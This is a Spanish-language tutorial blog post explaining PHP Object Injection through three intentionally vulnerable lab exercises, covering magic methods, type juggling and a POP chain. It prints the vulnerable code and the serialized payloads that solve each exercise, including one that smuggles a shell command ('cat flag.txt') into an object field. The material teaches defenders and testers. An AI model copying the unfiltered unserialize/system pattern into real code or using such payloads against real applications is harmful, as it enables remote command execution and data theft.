¿Cómo funciona la Inyección de objetos PHP? PHP Object Injection
Tabla de contenidos
Conocemos como Inyección de objetos PHP (PHP Object Injection) la manipulación arbitraria del contenido de un objeto que será deserializado posteriormente a través del uso de la función unserialize() de PHP. Este tipo de vulnerabilidades web suelen requerir una mayor complejidad a la hora de su explotación, por lo que tanto la explotabilidad como el impacto asociado puede ser malinterpretado si no se realiza un análisis en profundidad.
A fin de introducir este tipo de vulnerabilidades se proponen una serie de ejercicios sencillos que serán resueltos a lo largo de este post. El código fuente de los ejercicios puede ser descargado desde nuestro repositorio de GitHub.
En este artículo no se entrará en detalle sobre la programación orientada a objetos en PHP, quedando esta tarea pendiente a discreción del propio lector.
Inyección de objetos PHP – Ejercicio 0
La correcta explotación de este tipo de vulnerabilidades requiere la presencia de 2 elementos básicos interconectados:
- La deserialización de un objeto cuya manipulación sea factible desde el lado del usuario (p.e.: una cookie que almacena datos en forma de objeto serializado)
- El uso de un método mágico (__wakeup, __destroy…) que pueda ser abusado para conseguir acciones interesantes desde la perpectiva de un usuario malintencionado (ejecución remota de comandos, manipulacion de ficheros, etc.).
La obligatoriedad del primer elemento de la lista es obvia en tanto que estamos hablando de una vulnerabilidad basada en la manipulación de objetos, sin embargo el segundo elemento -el uso de métodos mágicos- puede ser dubitada. Los métodos mágicos van a actuar de disparadores («triggers») de las funciones que queremos abusar, ya que dichos métodos serán ejecutados automáticamente ante determinadas situaciones (deserializacion del objeto en el código, destrucción del mismo, etc.). La métodos mágicos disponibles en PHP, junto con más información, puede ser consultada en la propia documentación online https://php.net/manual/es/language.oop5.magic.php.
Obsérvese el código fuente del primer ejercicio:
<?php // Exercise - 0 // Author: @TheXC3LL // Website: ka0labs.net class warm { public $dir = "."; public function __wakeup() { echo "This folder contains:\n"; system("ls " . $this->dir); } } $test = new warm(); $a = serialize($test); echo "Example of an object:\n$a\n\n"; unserialize($argv[1]); ?>
Nos encontramos con un unserialize() sin filtrar que tomará como argumento un parámetro que nosotros le suministremos y también con una clase que utiliza una método __wakeup() que se ejecutará automáticamente al deserializar el objeto con la clase warm. Además, este método utiliza una variable en un system(). Se trata de la tormenta perfecta para conseguir ejecución remota de comandos. Si pasamos como argumento el objeto serializado que se ofrece como ejemplo y guía, y lo observamos con atención entenderemos fácilmente cómo es posible explotar esta vulnerabilidad:
gidorah@kaiju:~/Documentos/POI/Exercise 0|
⇒ php exercise-0.php ‘O:4:»warm»:1:{s:3:»dir»;s:1:».»;}’
Example of an object:
O:4:»warm»:1:{s:3:»dir»;s:1:».»;}This folder contains:
exercise-0.php
flag.txt
Al deserializar el objeto se ha ejecutado automáticamente el método __wakeup donde teníamos un system() cuyo argumento era el resultado de la concatenación de «ls » y el valor de la variable «dir» que era «.». Todos estos valores están en el objeto serializado, por lo que su manipulación no requiere de dificultad alguna. Modificando el valor de «dir» podremos conseguir la ejecución arbitraria de comandos:
gidorah@kaiju:~/Documentos/POI/Exercise 0| ⇒ php exercise-0.php ‘O:4:»warm»:1:{s:3:»dir»;s:23:»>/dev/null;cat flag.txt»;}’ Example of an object: O:4:»warm»:1:{s:3:»dir»;s:1:».»;}
This folder contains:
ka0labs{n1c3_W0rK_bUt_st1ll_34sY}
Nótese como se modifica el valor del tamaño del contenido de la variable (de 1 a 23) para que concuerde con el nuevo valor.
Inyección de objetos PHP – Ejercicio 1
Este ejercicio continua siguiendo la estela del anterior, complicándolo levemente para demostrar el entendimiento básico de la explotación de esta vulnerabilidad.
<?php // Exercise - 1 // Author: @TheXC3LL // Website: Tarlogic.com class login { public $username = "X-C3LL"; public $password = "Insanity"; public $role = "MUGGLE"; } $one = new login(); $a = serialize($one); echo "Example of an object:\n$a\n\n"; echo "FLAG: \n"; $test = unserialize($argv[1]); $check = $test->role - 1337; if ($check == "ADMIN") { $flag = file_get_contents("flag.txt"); echo $flag; } else { echo "No flag for you!! Better luck next time!\n"; } ?>
En esta ocasión tenemos una clase «login» que posee tres variables de tipo string: username, password y role. La primera diferencia con respecto al anterior es que no aparece ningún método mágico que abusar, sin embargo podemos observar cómo los datos que serán deserializados son utilizados para realizar unas comprobaciones antes de mostrar el contenido del fichero «flag.txt».
La condición que debe de cumplirse para obtener el flag es que la variable $check, resultado de restar 1337 a la variable «role», debe de ser igual a la cadena de texto «ADMIN». Ejecutemos el código para ver el objeto ejemplo sobre el que trabajar:
gidorah@kaiju:~/Documentos/POI/Exercise 1| ⇒ php exercise-1.php Example of an object: O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";s:6:"MUGGLE";}
Habiendo entendido bien el ejercicio anterior, es obvio que el camino para la resolución del ejercicio pasa por editar la variable «role». ¿Pero qué modificación ha de aplicarse? Para contestar esta pregunta debemos de consultar la tabla de comparación https://php.net/manual/es/types.comparisons.php
En PHP, el resultado de comparar una cadena de texto con un entero de valor 0 es TRUE, por lo que la condición se cumplirá si «role» deja de ser un string y pasa a ser un integer de valor 1337 (1337 – 1337 = 0).
gidorah@kaiju:~/Documentos/POI/Exercise 1| ⇒ php exercise-1.php 'O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";i:1337;}' Example of an object: O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";s:6:"MUGGLE";}FLAG:
ka0labs{d0ubl3_3qU4l_sUkS}
Inyección de objetos PHP – Ejercicio 2
El último ejercicio tiene como objetivo introducir el concepto de «Property-Oriented Programming» («POP»). De manera análoga al ROP en la explotación de binarios, podemos explotar un PHP Object Injection reutilizando partes de código a través de la construcción de una cadena de objetos.
<?php // Exercise - 2 // Author: @TheXC3LL // Website: Tarlogic.com // Modificado de: https://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf class File { public function flag() { $this->innocent(); } public function innocent() { echo "Aquí no pasa nada :D\n"; } } class GiveFlag extends File { public $offset = 23; public function innocent() { $stuff = fopen("flag.txt", "r"); fseek($stuff, $this->offset); print fread($stuff, filesize("flag.txt")); } } class entry { public function __destruct(){ $this->awesome->flag(); } } unserialize($argv[1]); ?>
En este ejercicio de Inyección de objetos PHP observamos la existencia de 3 porciones de código que pueden ser reutilizadas por nosotros, a través de la creación de una cadena («POP Chain»). El primer paso a la hora de construir una cadena que convierta en factible la explotación de la vulnerabilidad es encontrar los dos extremos: un punto de entrada y un método interesante (ejecución de comandos, manipulación de ficheros…) como final.
En nuestro caso, al tratarse de una síntesis resumida, el código es muy pequeño y ambos puntos son fáciles de localizar. El inicio se localizaría en la clase «entry», donde existe un método mágico que será invocado una vez el objeto se destruya. Por otra parte, el método que deseamos controlar se localiza en la clase «GiveFlag», donde vemos que se procede a leer le fichero «flag.txt».
Analizando «entry», vemos que podremos llamar a la función «flag» desde la propiedad «awesome». Si nosotros obligamos a que «awesome» cargue la clase «GiveFlag», podremos ejecutar perfectamente flag() (ya que esta clase hereda la función de la clase «File»). A su vez, flag llamará al innocent de GivenFlag(), el cual nos mostrará la flag.
gidorah@kaiju:~/Documentos/POI/Exercise 2| ⇒ php exercise-2bis.php 'O:5:"entry":1:{s:7:"awesome";O:8:"GiveFlag":0:{}}' THIS IS NOT THE FLAG
Tan sólo nos faltaría cambiar el valor a la variable offset para que ésta apunte al inicio del fichero flag.txt y no a la posición 23:
gidorah@kaiju:~/Documentos/POI/Exercise 2| ⇒ php exercise-2bis.php 'O:5:"entry":1:{s:7:"awesome";O:8:"GiveFlag":1:{s:6:"offset";i:0;}}' ka0labs{Ch4_ch4_Ch41n} THIS IS NOT THE FLAG
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/